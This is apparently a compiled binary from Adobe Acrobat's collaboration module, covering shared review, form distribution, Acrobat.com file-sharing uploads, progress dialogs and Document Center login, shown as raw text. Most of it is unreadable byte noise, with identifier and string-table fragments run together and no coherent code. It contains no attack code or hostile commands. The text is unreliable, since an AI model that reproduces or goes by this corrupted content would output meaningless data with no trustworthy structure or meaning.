reviewInfo	localPathbIsAcrobatDotComwizidriverresultparamsoldtooldccnewtonewcccodevalinternalDeadline1�)*xY\WQV=6Qn=oQV;5=6QV5(V=	6Qn=	oQ#V=
6Qn=
oQ>WQ9��=�:Q;�
�:Q;�
�T�:WQ;�
�:QVT6QVT6QV;56QV;56QVV56QVV56QVV56QT=�9��=TV5�:QVV5!�"
�=#�:6 QVV5%�"
�=#�:6$QV;5&6QV;5'6Q!V=(6 QV=(6$Q;�
�:Q;�)
�V5*�:WQVYV�,
�V�-
�=.�:?�:]/V]0\6+Q;�
�:QVV5+5061QVV5+5/62QVV5+5063QVV5564Q9��=6V54�:QVV54�,
�>�V54�-
�=.�:�:64QV52=(YVV54�,
�V54�-
�=.�:?�V54�-
�=7�:?�:62Q9��=8V52�:Q9��=9V54�:QVV54�,
�>�V54�-
�=.�:?�:64Q9��=:V54�:QVYV5<]==(]>YV54]?\]@\6;QV5;V5A6>Q;�
�:Q;�B
�V55�:WQ;�
�:QVVC6CQVB6CQT=PV5=(!;D>7;5F6EQ;D>7;5G6EQ;D>7;5H6EQ9I�I�Y;5J]K;5L]E;D]M\�:WQ;�
�:QVZ\6NQVY\6OQVC6Q;5OKemMWQ;5OV7WQV�P
�=Q�:4V5NV5N�RV8QV5OV5SV8Q�L����N;�
�:QY\WQV5C�;�
�:QV;5U=.V526TQ;�
�:Q9V�V�:WQV5WC,VV5X6XQVV5Z6YQY?][\W	QV	9��=\�:Q9]�]�V�:Q9^�^�V�>�>�V�:Q9��=_V5`�:QV5`=a)9��=b�:QV5!�"
�=#�:W
QV5%�"
�=#�:WQZ\WQZ\W
QV5 KmMWQVVV5 V78Q�L����NV5$KmMWQV
VV5$V78Q�L����N9��V
�:Q9��V�:Q9c�c�V
�V�V5d�V�V
�:Q9��=eV�:Q9��=fV
�:QV�R>DQV
�R>VC6gQ?WQV5WQV5h=iD(QV5h=jDQV5h=k�V�R>E"QV
�R>EQV5V>WQ�V5h=jEQV5gNYT]l\W	Q;�
�:Q;�m
�V	�:Q;�
�:Q9n�n�V�>�:QnoV�p
�=#�:ooQnqV
�p
�=#�:oqQ9��=r;o;q�:QY;o]s;q]tV5]V][\W	Q9��=u�:QV	YV][\W	QV	�ʐ�ΐ�И�x2�ِ��#���ΐ�Ր����ΐ�А�����Ր�ѐؐ�ѐ��̐�̐��Ӑ�Ӑ��ѐ�ѐ�ѐ�������␈␈␈Ӑ�ؐ����ΐ�ΐ���ѐݐ���ϐ�ѐ��֐�֐�֐��ѐ�ސ�������Ր�ސ�ސ����ޘ�xu�Ȑ͐ʐߐ���֐��ѐݐ�ѐ���ϐ��ʐ��K�����ܐ��ܐ���א�АϐϐӐ���ѐ�ΐ�ϐ��ʐ��0hː�Ґ����ڐ�ޘ�x��ѐ��ʐ�����ѐ�␈ѐ��Ґ�'���ѐ�֐�����ː�����xĈՐ�Ӑ��ې�ސ���$���xψՐݐݐ�ɐɐ��0"ː��ݐ���0"ː��ݐ���Ӑ�Ӑ��萐�ِ�٘�x����ʐ��̐������
��ʐ�������͐��ѐ�Ր�ѐ��
՘�y�ߐ�ߐ��ᐐ��ʐʐ͐͐���Ր��ɐ�����͐����
reviewTypeSharedReviewEmailWT_SRreaderEnableapp
viewerTypeExchangeUB_UB_NOUB
DebugAlert!Start ANRunSharedReviewEmailStep 	beginPrivCollab
getReviewInfoendPrivreviewIDaction	cannedMsgAnnotsString2IDS_SHARED_REVIEW_PREVIEW_INVITE_ATTACHED_EMAIL_SR
cannedSubj(IDS_SHARED_REVIEW_PREVIEW_INVITE_SUBJ_SRdeadline	cDeadlineinternalDeadlinecInternalDeadlineaccessLevelcAccessLevelChangeDeadlineaction reqRcRequiredReviewerssplit;optRcOptionalReviewers;IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_ATTACHED_EMAIL_SR1IDS_SHARED_REVIEW_PREVIEW_CHANGE_DEADLINE_SUBJ_SRconvertPlatformPathToDIPath
cLocalPathdoc	substringlastIndexOf/documentFileNamepathdocPath
cDocumentName
cDocumentPathdistributionURL
cReviewURLdata.distributionURL 1_data.cDocumentNamedata.distributionURL 2data.distributionURL 3server
cDriverURIURL
DistMethodcSettingSettingscDistributionMethodisDocCenterURLUseDocumentCenterIWEmailStepstitleIDS_TRACKER_ACTION_ADD_DEADLINE"IDS_TRACKER_ACTION_CHANGE_DEADLINE IDS_TRACKER_ACTION_ADD_REVIEWERSCBTrustPropagateWiz
IDS_FINISHfinishString!IDS_SHARED_REVIEW_WIZARD_TITLE_SRstepsserversdriverscanInitiateWorkflowSharedReviewlength	driverURL	docCtrURLdocCenterURLANDocCenterLoginForAddReviewersresponseswConnuserUsernamecode Calling the commit work function DistributionServerStepCommitWorkCBRunSimpleWizNewreturned from wizardresultfnshcalling filterAddrsfilterAddrscInitiatorEmailafter returning new toafterreturning new ccsendAttachmentdistributionMethodUPLOADEMAILMANUAL	cReviewIDtakeOwnershipAndPublishCommentsCBSharedReviewCompleteinviteesjoinccinvitees + cc newTonewCcend link task complete("�"�h�����
�
�
^Q�propsdatastepoldPatholdNamenewPathwizidriverlogEventParamsstartPayloadParamsaddStringToPayloadParamsretValdoc2*�D"yY\WQ>WQVZ\6Qn=oQV=6QV=6Qn=oQTT5?&V=6QV=	6QV;56
QV;56
QV=6QV=6QT5�VY=]T5]\6Q;�
�:QV;�
�V55�:6Q;�
�:QV55WQ9��=V�:QV5V�
�V�
�=�:?�:6QV55WQV�
�>�V�
�=�:?�:WQ9��= V�:QVT5"�
�T5"�
�=�:?�:6!QVT5"6#Q9��=$V5#=$V5!�:QT5%3VT5%6%QV5%V5!6%QV=6%Q;�
�:QV;�'
�=�:6&Q;�
�:Q9��=(T5)�:Q9��=*T5%�:QT5)V5&T5)6+QT5% V5&5,T5%6-QT5.sT5.Fa1IV5&=06/Q5V5&=16/QV5&=26/QV=6.Q93�3�Y;54]5;56]7;8]9\�:WQ;�
�:QVZ\6:QVY\6;QVC6<Q;5;K�mMWQ;5;V7WQV�=
�=�:YV�>
�: 9V5:V5:�?V8QV5;V5@V8QVV6AQ�L���xN;�
�:Q9B�B�V�:Q9C�C�V�V�:QV5D=E9F�F�V�:>�T5��V5&T5)6+QVY=]T5]\6Q;�
�:QV;�
�V55�:6Q;�
�:QV55WQ9��=V�:QV5V�
�V�
�=�:?�:6QV55WQV�
�>�V�
�=�:?�:WQ9��= V�:QVV�G
��=�:9H�H�=I;�:=J6!QVVV5!6#Q9��=$V5#=$V5!�:Q�WQV;�L
�:6KQ;�
�:QVZ\6:QVC6<QVT5M6MQTEQT5)=N�VY\6;Q;5;K�mMWQ;5;V7WQV�=
�=�:YV�>
�: 9V5:V5:�?V8QV5;V5@V8QVV6AQ�L���xN;�
�:QY\WQY\W	QY\W
QV	=6OQV	=Q6PQV	=Q6RQ;�
�:Q;�S
�V	�:Q;�
�:Q9T�T�V�V�:Q9��=UV5V�:QVQV5D=EDQV5WC 9X�X�V�:WQJV5V�DQV5V�)YV5V]VV5]\WQ;�
�:Q;�Y
�:Q;�
�:QV5D=ZD6QV5D=ED"QV5V�DQV5V�EQV5�?>�V5K�mMWQV5V7WQ;�
�:QV5D=ZDQVV5'V�[
�YC]\C]]\�:Q;�
�:Q�L���~NV�ʐ��ΐ��А�Θ�y-�ΐ�А�����!���	ΐ�ΐ�Ӑ�Ӑ�ΐ�ΐ������ҐԐ��ѐ�琈ѐ�ѐ��ِ��ѐ됐�ِ������ѐ��퐐��.���ѐ��p̐���ΐ��ѐ�ߐ�ѐ��ސ�ސ����֐����ې��n���Xaِ���	ӐP����	ӐP����	ӐPʘ�y}�ΐ��АϐϐӐ���ѐ�ΐ�ϐ�ʐ��0��ː�Ґ����	�4���ڐ�ژ�y���՘�y��ѐ��Ӑ��א�����
ؐ�����y�����֐��ҐԐ��ѐ�琈ѐ�ѐ��ِ��ѐ됐�ِ�����Ր��퐐������ِ��ѐ�ΐ��ʐ��ѐ�����ϐ�0��ː�Ґ�����4���ڐ�ژ�y㐈՘�y�ѐʐʐʐ�ΐ�ΐ�ΐ�ѐ�Ր�ѐ�א��ސ�����ې��������͐Ґ���ѐ�ѐ�ѐ������0��ː�А�ѐ���␈ڐ����docsOpenedByWizardWT_FD
reviewTypeFormDistributionUBactionFormDistributionEmailAddReviewers	cannedMsgAnnotsString2IDS_SHARED_REVIEW_PREVIEW_INVITE_ATTACHED_EMAIL_FD
cannedSubj(IDS_SHARED_REVIEW_PREVIEW_INVITE_SUBJ_FDreqRoptRoriginalPathdocdocumentFileNamepathapp	beginPrivdocPathCollabconvertDIPathToPlatformPathendPriv
DebugAlertoldPath	substringlastIndexOf/newPath
cDocumentNamesavePath
cDocumentPath1
initiationURLserver getEmailDistributionReviewServer props.driver :driver props.initiationURLURLSettingscSettingdistributionMethod
DistMethodEMAILUPLOADMANUALCBTrustPropagateWiz
IDS_FINISHfinishString!IDS_SHARED_REVIEW_WIZARD_TITLE_FDtitleIWEmailFormStepsstepsserversdriversreaderEnablecanInitiateWorkflowisDocCenterWorkflowlength	driverURLdcDriver DistributionServerStepCommitWork CBRunFormDistributionWizardEmailresultfnshCBFormDistributionEmailCompletereplaceSharedStringIDS_SHARED_REVIEW_FILE_EXT.pdfreviewIDcreateUniqueDocID
selectFile,urn://ns.adobe.com/Collaboration/Forms/EmailcatsubcatFormDistributionPayloadevntAVUMStartPayloadWrapperCBRunFormDistributionWizarddata.IWStatus IWStatusplaceSubmitButtonCBFormDistributionCompleteAVUMEndPayloadWrappercnclcloseDocbNoSaversvd1.pdf$m
��������� CBRunFormDistributionWizardEmail��data	startStepwiz!E�Fz9��=�:Q9��Y;5];5];]	\�:WQ9��=
�:Q9��V�>�>�T�:��Ր��АϐϐӐ���Ր�ۈ*
DebugAlertCBFormDistributionWizardCBTrustPropagateWizAnnotsString
IDS_FINISHfinishString!IDS_SHARED_REVIEW_WIZARD_TITLE_FDtitleIWEmailFormStepssteps'calling cbrunsimplewiznew from wizemailCBRunSimpleWizNew����IWUploadFileFailedDialog��0�K@datafilesFailed_UnsupportedfileFailed_OutOfSpacefilesFailed_Unknown
bAllFailed	errorTypedescription�G:f2z>�����Q������>E,Q������>EQ������>?�����Q������>E,Q������>EQ������>������Q�������>E,Q������>EQ������>������QH������>E,Q������>EQ������>������Q�������>E,Q������>EQ������>������Q�������>E,Q������>EQ������>������QR������>E,Q������>EQ������>������QY�]�]�]�]�]Y9��=;�:]	=
]=]
>]>]ZY=]ZY=]=
]=]
=]=]=]=];5];5]ZY=]X�]C]; 5!]	="]\`Y=#]=$]=]
X�]%X�]\`Y=&]; 5']	=]=]
\`Y=&]; 5(]	=]=]
\`Y=)]\`\]*\`\]*\`\]*\]+\WQ;,�-
�:Q9.�.�V�:WQ;,�/
�:QV�ː����А���ѐ���ѐ���ѐ���ѐ���ѐ���̐����ʘ�z�ʘ�z�ʘ�z�ʘ�z�ʘ�z�ߐʐʐ������ʐ���ʐʐʐʐʐʐʐϐϐ���ʐȐ�ϐϐ��ʐʐʐȐ͐��ʐϐʐϐ��ʐϐʐϐ�����{)�ѐ�֐�ѐ���length
initializecommitidlelnk1lnk2SharedString'IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLEWTname
align_leftalign_children
align_fill	alignmentmargin_width
margin_heightgrouptypeviewmgrpitem_iddialogBackground
back_colortopToBottomgradient_directiondarkToLight
gradient_typeCollabwizardMarginWidthstatic_textwidth	wrap_nameAnnotsString.IDS_SHARE_FILE_ERROR_MESSAGE_OUT_OF_SPACE_ONLYtxt0mclvlistheight	link_text.IDS_SHARE_FILE_LINK_UNSUPPORTED_FILE_TYPES_MSG$IDS_SHARE_FILE_LINK_OUT_OF_SPACE_MSGokelementsdescriptionapp	beginPrivANTrustPropagateAllendPriv�����q�:rdialogtoShowtoLoadtxt0paramsia_rowlL<]HzY\WQY\WQ=WQYYZY=];5]<]\`Y=];5]<]\`\]	Z\]
\]\WQVB6QVB6
Q�����?^�����;5;5WQVV6QVC6QV;56QՈ�����^�����;5;5WQVV6QVC6QV;56Qk������A�����;5;5WQVV6Q������{�����;5;5WQVV6QVC6QV;56QVC6
QV;56
Q�������^�����;5;5WQVV6QVC6QV;56Q-������^�����;5;5WQVV6QVC6QV;56Q�����{�����;5;5WQVV6QVC6QV;56QVC6
QV;56
Q<�����;5;5WQVV6Q�����KZmMWQY�����V7];5]\WQV55
V55
�V8Q�L����N�����KZmMWQY�����V7];5]\WQV55
V55
�V8Q�L����N�����KZmMWQY�����V7];5]\WQV55
V55
�V8Q�L����NT�
�V�:QT�
�V�:QT�
�V�:Q�ʐʐɐ��������󐐐՘�z]�ʐ�ʐ���Y����␈̐��ʐ�ؐ��Y����␈̐��ʐ�ؐ��<����␈ѐ��v����␈̐��ʐ�Ӑ��ʐ�ؐ��Y����␈̐��ʐ�ؐ��Y����␈̐��ʐ�ؐ��v����␈̐��ʐ�Ӑ��ʐ�ؐ�����␈̘�z��0]ː���ҐԐ��퐐��0]ː���ҐԐ��퐐��0]ː���ҐԐ��퐐��Ӑ�Ӑ�ӈFileNameNameAnnotsString%IDS_SAHRE_FILE_ERROR_DIALOG_MCLV_COL1UIwidthError%IDS_SAHRE_FILE_ERROR_DIALOG_MCLV_COL2aColumnsaRowslistlnk1lnk2FIDS_SHARE_FILE_ERROR_MESSAGE_UNSUPPORTED_FILE_TYPE_ONLY_AND_ALL_FAILED7IDS_SHARE_FILE_ERROR_MESSAGE_UNSUPPORTED_FILE_TYPE_ONLYtxt0.IDS_SHARE_FILE_LINK_UNSUPPORTED_FILE_TYPES_MSG=IDS_SHARE_FILE_ERROR_MESSAGE_OUT_OF_SPACE_ONLY_AND_ALL_FAILED.IDS_SHARE_FILE_ERROR_MESSAGE_OUT_OF_SPACE_ONLY!IDS_SHARE_FILE_ERROR_OUT_OF_SPACE8IDS_SHARE_FILE_ERROR_MESSAGE_UNKNOWN_ONLY_AND_ALL_FAILED)IDS_SHARE_FILE_ERROR_MESSAGE_UNKNOWN_ONLY3IDS_SHARE_FILE_ERROR_MESSAGE_GENERAL_AND_ALL_FAILED$IDS_SHARE_FILE_ERROR_MESSAGE_GENERAL%IDS_SHARE_FILE_UNSUPPORTED_FILE_TYPES*IDS_SHARE_FILE_ERROR_UNSUPPORTED_FILE_TYPElengthIDS_SHARE_FILE_ERROR_UNKNOWNloadvisible�]k]�]333333�?�������?������dialogS]e]�z�������dialogz]�]�z��������
dialogurl�]_�z=WQ������DQ������;5WQY�����?D6Q������D$Q������DQ������;5WQ;�
�V�C�:Q�ɐ����Ӑ��
���ΐ��׈AnnotsString*IDS_SHARE_FILE_OUT_OF_SPACE_LEARN_MORE_URL)IDS_SHARE_FILE_UNSUPPORTED_FILE_TYPES_URLapp	launchURL�����`�dialogurl_�_�z=WQ������DQ������;5WQ=WQ;�
�V�C�:Q�ɐ����Ӑ����ɐ��׈AnnotsString*IDS_SHARE_FILE_OUT_OF_SPACE_LEARN_MORE_URLapp	launchURL�����z�cmsg1msg2fileLink
dialogDatadescriptiondf�j1{	Y\�����Q�����T6Q�����T6Q�����T6QY�]�]�]�]Y=]X�]=	]
ZY=]=	]
ZY=
]=]X�]\`Y=]=]=	]
=]\`Y=]\`\]\`\]\]\WQ;�
�:Q9��V�:WQ;�
�:QV�А�Ґ�Ґ�Ҙ�{:��ʘ�{Dʘ�{Jʘ�{Nʘ�{T�ʐȐʐ���ʐʐ���ʐʐ͐��ʐʐʐϐ��똀{s�ѐ�֐�ѐ���msg1msg2link
initializeidlecommit
align_leftalign_childrenwidth
align_fill	alignmentgrouptypestatic_textitem_id	link_textnameokelementsdescriptionapp	beginPrivANTrustPropagateAllendPriv�����L�dialogtoLoad<g�g<{Y\WQV�����56QV�����56QT�
�V�:Q�ʐ�א�א�ӈmsg1linkmsg2load������dialog�ghD{����������dialog'h9hJ{������#�dialogPh�hN{;�
�����5�C�:Q���%app	launchURLlink�����V�=��propsdoctypedata
initResult
bErrorOccured
bAllFailedibezelMessagebezelLinkMessageuploadPathNamebShowConfirmationDialogdocsdescresultfilesFailed_UnsupportedfileFailed_OutOfSpacefilesFailed_UnknownfilePathfileName�kD��{T5WQT5WQVEQ;�
�V�:X;�
�:Q;�
�Y;5]	V]
\�:Q;�
�:Q>Y\WQVEQV5hVV56
QVV5
�
�V5
�
�=�:?�V5
��:6QVV6QVV6Q9��V�>�:QV5=V5�9��V�:QV5WQBWQCWQV55K?mMWQV55V75>CWQV
BWQ�L����NV �=WQ=WQ=W	QV5�?69��=; �:WQ;5!WQW9��="; �:WQV�#
��V5��:WQ;5$WQ;5%W	Q9&�&�='�:Q9&�&�=(V55)5*�:Q9+�+�=(V55)5*�:QY\UQYV],V]-V	])\UQBW
Q;�
�:Q;5.WQ;�
�:QV�>CW
QM;�
�:Q;�/
�:WQ;�
�:QV50
CW
QV
q91�1�T5,�T5-�T5)�:WQ;�
�:Q;�2
�V�:W
Q;�
�:Q<;�
�:Q;�3
�T�:Q;�
�:Q�Z\WQZ\WQZ\WQV55KumMWQV55V75X�aV5V754WQV�
�V�
�=�:?�V��:WQVV�V8Q�V55V75X�aV5V754WQV�
�V�
�=�:?�V��:WQVV�V8QyV55V75>\V5V754WQV�
�V�
�=�:?�V��:WQVV�V8Q�L����N9+�+�=5�:Q96�6�V�:Q96�6�V�:Q96�6�V�:Q97�7�A58�V�V�V�V�:WQ;�
�:Q;�2
�V�:Q;�
�:Q9&�&�=9V5:�:Q9+�+�=9V5:�:Q;�
�:QV5�;
�:Q;�
�:Q;�
�=<�:Q�̐̐�����	ѐ�		ѐ�	���ʐ�����ѐ����̐���̐���Ր������핐�Ӑ�̐�����0Bː��
��ʐ����Θ�{��
����ɐɐɐ��1���ސ�Ә�{���ސ�搐�ΐ���
ΐ��Ր�萈萐ʐ��
��ȐȐ͘�{ٕ���ѐΐ�ѐ��
��ʐ����ѐԐ�ѐ������l��퐈ѐؐ�֐����ѐ�Ր�֘�{��ɐɐɐ�0�xː��\��Ր򐐈Ր��\��Ր�Ր����Ր�٘�|�Ր�
Ӑ�
Ӑ�
Ӑ�鐐�ѐ�Ր�ѐ��
ސ�
ސ���ѐ�	Ԑ�	֐�����׈FdoctypeCollab
isDocDirtyapp	beginPrivalertAnnotsString$IDS_SEND_FOR_COLLABORATION_DOC_DIRTYcMsgoDocendPrivpathdocPathdocName	substringlastIndexOf/lengthCBRunShareFileWizardresultfnshswConnCBShareFileComplete
initResultprops
filesToUploaduploadResultdocListSharedString IDS_SHARE_FILE_BEZEL_SINGLE_FILEWT0IDS_SHARE_FILE_BEZEL_SINGLE_FILE_DOC_CENTER_LINK#IDS_SHARE_FILE_BEZEL_MULTIPLE_FILESreplace4IDS_SHARE_FILE_BEZEL_MULTIPLE_FILES_DOC_CENTER_LINK_IDS_SHARE_FILE_VIEW_MY_FILES
DebugAlertWorkflow initiation succeededWorkflow file URL: uploadPathNameDITextDebugPrintlnbezelMessagebezelLinkMessage
activeDocsGetActiveDocIWisInCollectionIWShareFileConfirmDialog
execDialogshareFileBezel	localPath$The following files failed to upload	ANDumpObjIWUploadFileFailedDialogdataWorkflow initiation failed: errorMessage
disconnect7
ERROR: Unable to establish connection with Acrobat.com%cNum%�x�B������<�7@datadrivermaxStrprogressInfodialogg���1|=WQ;5�
��;5�
��;5�:�:WQ;�
�:Q;�	
�:WQ;�

�:QY@]>]V]
V]�����]Z\]Y�]�]�]\]�]�]�]�]�]�]�	]�
]�]�]�
]�] Y9!�!�=";#�:]$X�]%ZY=&]'=(])ZY=&]'=*]+ZY=,]'X�]%�]-=.]/\`\]0\`Y=1]'=(])=2]/C]3V]$X�]%\`Y=4]';55]6\`\]0\`\]0\]7\WQ�����C68QLm;�
�:Q;�9
�9:�:�V�:�:Q;�

�:Q������58����V5V5�;
�:QV@6Q�ɐ����ѐԐ�ѐ�����ȐȐΐʐ����ʘ�|�ʘ�|�И�|�ʘ�|�ʘ�|�ʘ�|�ʘ�|�ʘ�|�ʘ�|�ʘ�|�ʘ�|�ʘ�|�ʘ�}ʘ�}ʘ�}0�ߐȐ���ʐʐ���ʐʐ���ʐȐ�ژ�}G�ʐʐʐ�Ȑ͐��ʐ�}Y�А(\�����}[��ѐ�䐈ј�}Z�՘�}a���Ԑ�ʈ8urn://ns.adobe.com/Collaboration/FileSharing/Acrobat.comAnnotsString!IDS_SHARED_REVIEW_STATUS_TEMPLATEreplace IDS_SHARED_REVIEW_COMPLETE_ERRORIDS_NETWORK_NO_CONNECTapp	beginPrivCollabgetProgressInfoendPrivoDialognCurrentTaskoDriver
oProgressInfodataaCompleteTasksrunTask	onSuccess	onFailureoShareFileTasksupdateProgressupdateProgressDialog
initialize
setTaskStatussetTaskErrorStatussetTaskProgressgetCurrentTaskgetNumTasksrunCurrentTask
handleSuccess
handleFailurecommitSharedString'IDS_SHARED_REVIEW_BROWSE_DOC_STEP_TITLEWTnamewidthviewtype
align_fill	alignment	align_rowalign_childrenprogress_barheightprogitem_idelementsstatic_textdesc	wrap_name	ok_cancel IDS_SHARED_REVIEW_COMPLETE_RETRYok_namedescriptionshouldRetry
execDialogANTrustPropagateAll
setHandler�����m�-�^cxtlocalDiPathsicopyMeinviteesprops��k�F|�Z\WQT�
�;5�:Q;�
�:Q�����5K;mMWQVV�;�
�����5V7�:8Q�L����N;�	
�:QCWQ;�
�:Q;5
WQ;�	
�:Q=WQ�����5>r�����5
�
�=�:=�����5�
�=�:WQV!V=�����5WQY=]V]�����5]�����5]V]�����5];�
�����5�:�=
=] \WQ;�
�:Qn!�����5"�#
�V�:o!Q;�	
�:Q9$�$�=%�:Q9&�&�;!5'5�:Q;!5'5K.mMWQ9&�&�;!5'5V7�:Q�L����N�����;!6!Q�����;!5)6(Q�����5(>DQ�����5(X�)�����C6*QT�+
�:QT�,
�:Q'�vWQT�,
�:Q����ɐ��ڐ���ѐ�0>ː�	���ѐ���ѐ�ΐ�ѐ�ɐ�����ʐ��
ܐ����ʐȐ�ӐӐȐӐ�
ސ���ѐ�萈ѐ��Ր�ߐ�01ː�쐐�Ԑ�ِ��$���А�Ԑ�����x���ʐ���π{��
setTaskStatusAnnotsStringIDS_SHAREFILE_SING_PROGRESSapp	beginPrivdocListlengthCollabconvertPlatformPathToDIPathendPrivcopyMetypereqRjoin;optRuser8urn://ns.adobe.com/Collaboration/FileSharing/Acrobat.comdriverinviteessubjsubjectmsgbody
localPaths
filesToUploadMathabsaccessLeveltruefalsesetACL
initResultswConninitiateWorkflowDebugPrintln######the upload result:	ANDumpObjpropsinitiateWorkflowResultresultsaved
handleSuccess
handleFailure����eI�1J>�������cxtmsg����|�����5�?4T�
�9��=;�:�:Qb9��=;�:WQV�
������5��:WQT�
�V�:Q��/���ސ�쐈ӈdocListlength
setTaskStatusSharedString IDS_SHARE_FILE_BEZEL_SINGLE_FILEWT#IDS_SHARE_FILE_BEZEL_MULTIPLE_FILESreplace%cNum%�������cxterrorMsggeneralError�֏�|
;5WQ;5�
��;5�
�=�:@;5;5	�:WQT�

�V=V�:Q�ΐؐ��ϐҐ�݈5AnnotsStringIDS_DEFINITION_LIST_ERRORIDS_HTTP_ERROR_UNKNOWNreplaceapp
viewerTypematchExchangeIDS_PRODUCT_VARIANT_ACROBATIDS_PRODUCT_VARIANT_READERsetTaskErrorStatus %cProductVariant%�����3�
�����|A�
�A55�:QA�
�A55�:Q���ِ�و:
setTaskStatus
oProgressInfocTaskStatussetTaskProgressnPercentComplete������dialogԐ��|�������5dialogdatatoLoadtoEnable�}��|A5WQA5A5�
�A�:QVB6QAT6QY=]\WQYV5]B]	B]
\WQA5A5�9
�
�A5�:8QT�
�YB]	B]
\�:QT�
�V�:QT�
�Y;5]	\�:QT�
�V�:QA5=6Q�ʐ��Ԑ��ʐ�ʐ�Ԑ㐐�萐�␈Ӑ�合Ӑ��шdata
oProgressInfo
setHandlershouldRetryoDialogdescbWorkspaceSetuptaskokcancelaCompleteTaskslengthANTrustPropagateAlloShareFileTasksvisibleloadAnnotsStringIDS_OKenablestateRUNNING�����E�statusmsg��R��|;5�
��T�:WQA5�
�YV]\�:Q�㐐��!AnnotsString!IDS_SHARED_REVIEW_STATUS_TEMPLATEreplaceoDialogloaddesc	{cStatus}�����"�messagew����|A5�
�YT]\�:Q���%oDialogloaddesc�����J�
nPercentnSegLen	nCompleteԔĕ�|�dA�
�:WQA5T�dWQA5�
�YVV]\�:Q�Ӑѐ���3getNumTasksnCurrentTaskoDialogloadprog������
nIdx�8��|A5WQA5V7�ʐ�ˈ!nCurrentTaskaCompleteTasks�����
�T����|A5���̈$aCompleteTaskslength�����i�
�����|�A�
�>�:QA�
�:�
�A�:QA55=A�
��d�:Q�vWQ������ϐ�ڐ����x��ʐ�{���setTaskProgressgetCurrentTaskrunTaskdatastateRUNNING����eT�������&ۗ\��|A�
�:�
�A�:QA5#?�
6QQA5A�
�:JA5C6QA5�
�YC]\�:QA�	
�A5�:QA�

�:Q���ڐ�Ր���E����͐�ߐ�ِ��͈getCurrentTask	onSuccessnCurrentTaskgetNumTasksdatabWorkspaceSetupoDialogenableokcommitrunCurrentTask�����)�7esz�ś}�T;EQT5;>;5�
��T5�:WQA�
�V�:QA�
�:�
�A�:QA5=
6	QA5�
�Y;5
]\�:QA5�
�YC]C]\�:QA5�
�YC]C]\�:QA>6QA�
�>�:Q�vWQ�������萈ѐ���ڐ�ѐ�萈合合Ȑ��x��ʐ�{���	undefinedtextAnnotsString IDS_SHARED_REVIEW_COMPLETE_ERRORreplace
setTaskStatusgetCurrentTask	onFailuredatastateRETRYoDialogload IDS_SHARED_REVIEW_COMPLETE_RETRYokvisiblecancelenablenCurrentTasksetTaskProgress����e%error%�����x�3dialogܛ��}A55x=y=y5zWA>6QA5=6QA5C6Q,A5B6QT�
�=�:Q��`l��m
��}(mʘ�}"��Ȑ�ѐ�͐P����͐�ՐP��datastateRETRYRUNNINGnCurrentTaskshouldRetryendok	{cStatus}%error%�\����ANDocCenterLoginForAddReviewers��(datawiz&���g}	A;�R6QA5B6QY\WQV=6Q9��V�YC]=]\�: �9	�	�Y;
5];
5
];]\�:WQ9��V�>���V�:QV5=6V5A5C6QA5B6QA5B6Q1V5A5C6QA5B6QA55CZA5V56QA5V56QA5V56QA5V56QA5@6Q9��A5�:QA5��ѐ�͐�ʐ�ΐ��������АϐϐӐ���ܐ��1�����Ґ��Ґ����Ҙ�}�����Ґ��͐���U���Ԑ�Ԑ�Ԑ�ِ����͐���֐���resultObjectresponse
reviewTypeDocCenterLoginSilentDocCenterLoginbShowProgressMonitor9urn://ns.adobe.com/Collaboration/SharedReview/Acrobat.comcDriverCBTrustPropagateWizAnnotsString
IDS_FINISHfinishString"IDS_SHARED_REVIEW_ADOBE_DOC_CENTERtitleDocCenterLoginStepsstepsCBRunSimpleWizNewfnshswConnUsernameuserPasswordpswdSaveCredentialrememberPassword	ANDumpObj�������x4disableddescresultdatawiz�c��}A;�R6QA5B6Q;�
�:Q;�
�:WQ;�
�:QVX9��:WQ;�
�:Q;�	
�V�:WQ;�
�:QA5Y\WQV=6
Q9��Y;
5];
5];]\�:WQ9��V�>���V�:QV5=6V5A5C6QA5B6QA5B6QA55CAA5V56QA5V56QA5V56Q9��A5�:QA5��ѐ�͘�}��ѐԐ�ѐ��Ґ�ѐؐ�ѐ����ʐ�ΐ�АϐϐӐ���ܐ��1�����Ґ��Ґ����͐������Ԑ�Ԑ�Ԑ���֐���resultObjectresponseapp	beginPrivCollabisDocCentreSignupDisabledendPriv-IWSharedReviewDocCenterEligibilityErrorDialog
execDialog
reviewTypeDocCenterSignupCBTrustPropagateWizAnnotsString
IDS_FINISHfinishString"IDS_SHARED_REVIEW_ADOBE_DOC_CENTERtitleDocCenterSignupStepsstepsCBRunSimpleWizNewfnshswConnUsernameuserPasswordpswdSaveCredentialrememberPassword	ANDumpObj�����&��9doceaddrdata��6��}
;�
�:Q;5WQ;�
�:QV Am�n;�
�B�;5	�:oQ;�;�
�:Q;5WQ;�
�:Q9
�
�V�: p;�
�:Q;�
�Y;5]
;5]?]T]\�:Q;�
�:Q@WQ@WQV@���;�
�:QV@;V6Q;�
�:QV@=Y\WQTEQT5GVT56QT5�
��:V;56Q9��V�>�?�:QV5=V5=��ѐΐ�ѐ����(��)�������}㐈������ѐ�ΐ�ѐ������ѐ����ѐ�ʘ�}��@���ʐ��ѐ
��ΐ�ѐ��
���ʐ�����ѐ���Ӑ���א����ΐ���
app	beginPrividentityemailendPrivbStatusCollabgetIdentityAnnotsStringIDS_REVIEW_IDENTITY_SETUP_TEXTCBIsValidEmailalertIDS_EMAIL_INVALIDcMsgIDS_BROWSER_BASED_REVIEW_TITLEcTitlenIconoDocpathdocPathmatchdocFS
fileSystemWebDAVCBRunBBRReviewWizardresultfnshfixedDestURL^http:�����K�I��doc
decodedURLdataemailto
cstoreInitinitDateinitinitAPRsubjurl
sendResult	sendRaiseeparamsdocName	arguments�?�~	�����QY�����]�����]\�����Q;�
�:Q;5�����Q;�
�:Q�m9�����������:Q�����5=	������5
�
�=�:�����Q9
�
��Y�����5]�����5]\�:=�����Q;�R�����Q9
�
��Y;5];]�����]�����]=]�����]�����]\�:=�	����Q9
�
��Y;5];] �����]�����]=]�����]�����]\�:=�
����Q�����5!�����Q="9#�#������:=$9#�#������:=%9#�#�����5&�:='�����Q�
����QB�����Q�����Q�;�
�:Q������(
�Y�����])Z\]*Y�	����]+�
����],\]-B].\�:�
����Q;�
�:Qb�v�Q;�/
�Y�50]1�]2\�:QC�Q������ EQ�
����FY�����]@]�����]3�����]4=]=]5�����]6\�����Q;7�8
������:Q�����59�����Q;5:=;@������<
������=
�=>�:?�:�����Q������?
�=@�:�EQ�����5������5�<
�����5�=
